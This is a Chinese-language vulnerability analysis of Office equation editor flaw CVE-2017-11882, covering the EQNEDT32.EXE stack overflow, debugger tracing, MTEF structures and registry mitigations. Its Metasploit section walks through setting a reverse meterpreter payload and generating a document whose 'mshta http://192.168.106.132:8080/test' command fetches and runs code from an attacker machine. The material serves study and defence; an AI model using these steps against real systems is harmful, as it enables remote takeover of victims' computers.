千家信息网

Office系列漏洞CVE-2017-11882是什么意思

发表于:2024-11-15 作者:千家信息网编辑
千家信息网最后更新 2024年11月15日,这篇文章将为大家详细讲解有关Office系列漏洞CVE-2017-11882是什么意思,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。一、漏洞简介CVE
千家信息网最后更新 2024年11月15日Office系列漏洞CVE-2017-11882是什么意思

这篇文章将为大家详细讲解有关Office系列漏洞CVE-2017-11882是什么意思,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

一、漏洞简介

CVE-2017-11882属于缓冲区溢出类型漏洞,产生漏洞原因于EQNEDT32.EXE(微软office自带公式编辑器)进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,导致缓冲区溢出。通过覆盖函数的返回地址,可执行任意代码。

2017年11月14日,微软发布了11月份的安全补丁更新,影响流行的所有Office版本。

漏洞基本信息
漏洞IDCVE-2017-11882
漏洞名称Microsoft Office数学公式编辑器内存损坏漏洞
漏洞类型远程代码执行
威胁类型栈溢出
影响版本Microsoft Office 2000/2003/2007sp3/2010sp2/2013sp1/2016

二、漏洞测试

系统环境Win7 32
Microsoft Office2013 sp1
生成测试漏洞文件https://github.com/Ridter/CVE-2017-11882

使用Command_CVE-2017-11882.py脚本生成漏洞文件。

有两种方式,我们先测试第一种弹出计算器。

三、漏洞定位

由于缓冲区溢出函数处于EQNEDT32进程中,所以对它进行调试分析,打开漏洞文件会弹出计算器,一般采用Winexec函数调用,可对该函数进行下断,然后进行逆推找出溢出点。

首先把eqnedt32.exe拖进od运行(或打开后进行附加),然后定位WinExec进行下断,打开漏洞文件test.doc,此时断点会停在WinExec函数上。

由于漏洞利用采用函数覆盖返回地址,那我们可以从栈中找出漏洞函数的上层或上上层函数继续进行分析。

在4115A7函数上下好断点,重新打开漏洞文件,断下后进行步过(F8)分析,在步过第一个call后并没有返回,而是直接弹出了计算器,这就说明漏洞溢出点在这个call里面,也就是把栈中返回地址4115D8进行了覆盖,从而转向shellcode执行。

上图是调用41160F,栈中保存的原始返回地址


在copy字体名字的时候,由于没有校验名称长度,导致缓冲区溢出,从而过长的数据覆盖了该函数的返回地址4115D8。

IDA分析可以看到[ebp+28]就是溢出缓冲区。

[ebp+28]分配的空间是0x24,超过此长度就会产生溢出,从而覆盖返回地址。

在经过溢出点后,原始返回地址4115D8被覆盖成402114。

这里覆盖后的地址是402114,Retn后回转到该地址处执行,

Retn执行后会转向12F350处,存放的就是FONT[name]数据,也就是shellcode。

Shellcode中callWinExec函数弹出calc.exe。

成功弹出计算器。

四、数据结构分析

漏洞出现在模块EQNEDT32.EXE中,该模块以OLE技术(Object Linking and Embedding,对象链接与嵌入)将公式嵌入在Office文档内。当插入和编辑数学公式时,EQNEDT32.EXE并不会被作为Office进程(如Word等)的子进程创建,而是以单独的进程形式存在。这就意味着对于word、excel等Office进程的保护机制,无法阻止EQNEDT32.EXE这个进程被利用。漏洞存在于EQNEDT32.EXE处理Office OLE Equation对象中标记为字体名称记录的字节流中,如果Equation对象中存在标记为字体名称的超长字节流,则程序在处理该字符串的过程,会由于判断字符串长度而发生栈溢出漏洞。

Equation Native数据流= EQNOLEFILEHDR + MTEFData,其中

MTEFData = MTEFheader + MTEF Byte Stream

EQNOLEFILEHDR头结构(共28字节)如下

struct EQNOLEFILEHDR {

WORD cbHdr; // 格式头长度,固定为0x1C。

DWORD version; // 固定为0x00020000。

WORD cf; // 该公式对象的剪贴板格式。

DWORD cbObject; // MTEF数据的长度,不包括头部。

DWORD reserved1; // 未公开

DWORD reserved2; // 未公开

DWORD reserved3; // 未公开

DWORD reserved4; // 未公开

};

对应的数据如下图

MTEFheader

bytedescriptionvalue
0MTEF version3
1generating platform0 for Macintosh, 1 for Windows
2generating product0 for MathType, 1 for Equation Editor
3product version3
4product subversion0

MTEFByte Stream

valuesymboldescription
0ENDend of MTEF, pile, line, embellishment list, or template
1LINEline (slot) record
2CHARcharacter record
3TMPLtemplate record
4PILEpile (vertical stack of lines) record
5MATRIXmatrix record
6EMBELLcharacter embellishment (e.g. hat, prime) record
7RULERruler (tab-stop location) record
8FONTfont name record
9SIZEgeneral size record
10FULLfull size record
11SUBsubscript size record
12SUB2sub-subscript size record
13SYMsymbol size record
14SUBSYMsub-symbol size record

参考:http://rtf2latex2e.sourceforge.net/MTEF3.html

数据 8 对应的数据类型为FONT,记录及结构如下:

struct stuFontRecord {

  BYTE bTag; // 字体文件的tag位0x08

  BYTE bTypeFace; // 字体风格

  BYTE bStyle; // 字体样式

  BYTE bFontName[n] // 字体名称,以NULL为结束符

};

字段说明
Tag0×081字节,固定为0×08
tfacetypeface number1字节,Typeface编号
style1或者21字节,1表示斜体,2表示粗体
nameFont name (null-terminated)字体名字,以Null结尾

对应的数据如下图

五、RTF结构分析

其中,\objupdate控制字来保证OLE对象的自动更新和加载,从而触发漏洞代码执行。默认状态下Office文档中的OLE Object需要用户双击才能生效。将OLE Object的属性为自动更新,这样无需交互,点击打开文档后OLE Object对象会生效,从而执行恶意代码。

对漏洞文件ole对象分析

可以看到插入了数学公式ole对象

查看ole对象的目录结构

可以看到ole对象中包含了EquationNative流

使用olebrowse工具查看Equation Native 流

六、MSF利用

环境准备

目标机Win7以及具有该漏洞的office
攻击机Kali linux
Msf组件https://github.com/0x09AL/CVE-2017-11882-metasploit

首先下载组件

把cve_2017_11882.rbcopy到

/usr/share/Metasploit-framework/modules/exploits/windows/smb

再Copycve-2017-11882.rtf 到/usr/share/metasploit-framework/data/exploits

启动metasploit

使用search命令查找11882对应模块,用命令use exploit/windows/smb/cve_2017_11882

showoptions查看要设置的参数

设置一个反弹式的meterpreter攻击载荷

设置本机ip以及URI路径

使用命令exploit-j 返回结果会显示出与目标主机的哪个端口建立了连接

生成目标机的漏洞文档,命令如下

PythonCommand109b_CVE-2017-11882.py -c "mshta http://192.168.106.132:8080/test"-o test.doc

这里的为攻击机的ip,端口设置8080以及URI设置test,生成后,在目标机打开该文档。

如果成功,meterpreter会显示返回连接信息,如失败,可能是参数错误或者其它错误

成功后,使用命令sessions-l 查看你控制的pc

使用命令sessions-i 1 切换进入,输入shell,进入cmd,whoami,OVER。

七、修复漏洞

(1)下载https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882更新补丁进行修补

(2)开启Windows Update功能,定期对系统进行自动更新

取消该模块的注册

(1)按下Win+R组合键,打开cmd.exe

(2)输入以下两条命令:

reg add"HKLM\SOFTWARE\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags"/t REG_DWORD /d 0x400

reg add"HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COMCompatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags"/t REG_DWORD /d 0x400

关于Office系列漏洞CVE-2017-11882是什么意思就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

0